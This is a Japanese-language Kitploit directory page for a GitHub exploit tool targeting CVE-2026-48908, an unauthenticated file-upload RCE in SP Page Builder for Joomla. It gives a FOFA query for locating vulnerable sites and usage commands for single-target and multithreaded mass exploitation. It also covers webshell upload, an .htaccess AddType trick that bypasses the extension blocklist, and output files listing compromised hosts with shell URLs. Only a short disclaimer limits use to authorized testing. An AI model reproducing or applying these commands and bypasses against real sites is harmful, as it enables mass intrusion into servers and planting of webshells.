Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/ayiezola/cve-2026-48908
偵察脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテストペイロード開発
GitHubayiezola/cve-2026-48908

CVE-2026-48908

CVE-2026-48908 の未認証RCE PoC SP Page Builder (Joomla) 任意ファイルアップロードおよびリモートコード実行エクスプロイト、大量スキャン対応。

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
CVE-2026-48908 — CVE-2026-48908 の未認証RCE PoC SP Page Builder (Joomla) 任意ファイルアップロードおよびリモートコード実行エクスプロイト、大量スキャン対応。 | Kitploit

CVE-2026-48908 — SP Page Builder の認証なし RCE

Joomla ≤ 6.6.1 向け SP Page Builder (com_sppagebuilder) は、認証されていない攻撃者が任意のファイルをアップロードし、リモートコード実行を達成することを許可します。

フィールド値
CVECVE-2026-48908
CWECWE-284 (不適切なアクセス制御)
コンポーネントSP Page Builder (com_sppagebuilder)
影響を受けるバージョン1.0.0 – 6.6.1
修正バージョン6.6.2
権限なし (認証前)
ユーザー操作なし

FOFA クエリ

root@kitploit:~
body="com_sppagebuilder"

使用法

要件

  • Python 3.8+
root@kitploit:~
pip install -r requirements.txt

単一ホスト

root@kitploit:~
python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check          # 調査のみ、コマンドは実行しない
python3 exploit_poc.py https://target.example --token abc123   # カスタムトークン

一括スキャン

root@kitploit:~
python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20           # 20の並列スレッド
python3 exploit_poc.py --hosts ips.txt --no-verbose             # 静音モード

カスタム webshell

root@kitploit:~
python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php

注: --shell-file を使用する場合、スクリプトは webshell をアップロードして URL を報告するだけで、-c コマンドの実行や実行テストは行いません。アップロードされたシェルはコマンド入力を独立して処理する必要があります。

オプション

デモ

単一ホスト

一括スキャン

一括スキャン 1

一括スキャン 2

出力

スキャン後、3つの結果ファイルが保存されます:

動作原理

このエクスプロイトは com_sppagebuilder の asset.uploadCustomIcon タスクを悪用します:

  1. 認証なしで細工された ZIP (アイコンフォントパッケージ) を POST します — CSRF トークンは不要です。
  2. SPPB は ZIP を /media/com_sppagebuilder/assets/iconfont/<name>/fonts/ に展開します。
  3. アップロードされた PHP ファイルが公開されます。

スクリプトは複数の PHP 拡張子 (.php, .PHP, .pHp, .Php, .pht, .phtml など) を試し、実行可能なものを見つけます。

htaccess バイパス

直接の PHP 拡張子が SPPB のフィルターでブロックされている場合、スクリプトはペイロードと一緒に .htaccess ファイルを配置します:

root@kitploit:~
AddType application/x-httpd-php .PHP

これによりウェブサーバーは .PHP (大文字) を PHP として扱うよう強制され、SPPB の大文字小文字を区別するブロックリストをバイパスします。AllowOverride が有効で、/media での PHP 実行が許可されている必要があります。

注: .htaccess + 大文字の .PHP バイパスはすべての構成で動作するとは限りません。失敗した場合は、代わりに .png または .jpeg 拡張子を使用してみてください。AllowOverride が無効または /media で PHP 実行がブロックされているサーバーでは、アップロードされたシェルも実行できません(「書き込みのみ」として報告されます)。

変更点

この PoC は https://github.com/papageo75/CVE-2026-48908-PoC/ に基づいており、以下の追加が行われています:

1. 非 JSON 応答の処理

一部のサーバー応答には、実際の JSON ペイロードの前に非 JSON のプレフィックス (例: cron 式やその他のゴミ) が含まれる場合があります。元の PoC はそのような応答を解析する際に r.json() でクラッシュしていました。このバージョンでは最初の { 文字をスキャンし、JSON 部分文字列のデコードを試みます:

Before:

root@kitploit:~
try:
    data = r.json()
except ValueError:
    return None

After:

root@kitploit:~
try:
    data = r.json()
except ValueError:
    raw = r.text
    idx = raw.find("{")
    if idx == -1:
        return None
    try:
        data, _ = json.JSONDecoder().raw_decode(raw[idx:])
    except ValueError:
        return None

例 — 有効な JSON 応答:

root@kitploit:~
{
    "name": "icoctxojp",
    "data": {
        "id": 17,
        "type": "iconfont",
        "name": "icoctxojp",
        "title": "Icoctxojp",
        "assets": "["ico ico-x"]",
        "css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
        "created": "2026-06-24 07:26:18",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

例 — 非 JSON 応答 (JSON の前にゴミプレフィックスがある場合):

root@kitploit:~
cron:self,tpl:amara_pro,cfg:ok{
    "name": "icoxwetsw",
    "data": {
        "id": 163,
        "type": "iconfont",
        "name": "icoxwetsw",
        "title": "Icoxwetsw",
        "assets": "[\"ico ico-x\"]",
        "css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
        "created": "2026-06-24 03:42:57",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

2. 一括スキャン対応

マルチスレッドの一括スキャン機能を追加しました:

  • --hosts <file> — ファイルからターゲットを読み込みます (1行に1ホスト)
  • -j, --threads <n> — 並列スレッド数を設定します (デフォルト: 10)
  • --no-verbose — ホストごとの詳細出力を抑制します
  • 結果はグループ化され、カテゴリ別の .txt ファイルに保存されます

3. カスタム webshell のアップロード

組み込みの token で保護されたシェルの代わりにカスタム PHP webshell をアップロードする --shell-file <path> オプションを追加しました。このオプションを使用する場合:

  • スクリプトは -c コマンドを実行せずにシェルをアップロードします
  • 実行テスト (run()) は行われません
  • 動作するすべての拡張子がテストされ報告されます
  • 結果は custom_shell_hosts.txt に保存されます

免責事項

許可された使用のみ。認可されたペネトレーションテスト、CTF、ラボ環境のターゲットのみに使用してください。このツールの使用については、すべての責任を負うものとします。

ツールをダウンロード
フラグ説明
url対象 URL (位置引数または --url)
--hosts <file>1行に1ホストずつ記述されたファイル
-c, --cmd <cmd>実行するコマンド (デフォルト: id)
--check調査のみ、コマンドを実行しない
--token <token>アップロードされたシェルを保護する secret (デフォルト: ランダム)
--shell-file <path>組み込みの代わりにカスタム PHP webshell をアップロード
-j, --threads <n>一括スキャンの並列スレッド数 (デフォルト: 10)
--no-verboseホストごとの詳細出力を抑制
ファイル内容
vulnerable_hosts.txtRCE が確認されたホストと webshell URL
not_vulnerable_hosts.txt修正済みまたは存在しないホスト
partial_vulnerable_hosts.txtファイル書き込み可能だが PHP 実行不可のホスト
custom_shell_hosts.txtカスタムシェルがアップロードされたホスト(ベースURLでグループ化、--shell-file 使用時のみ生成)
scan_results.json全ホストの完全な JSON 結果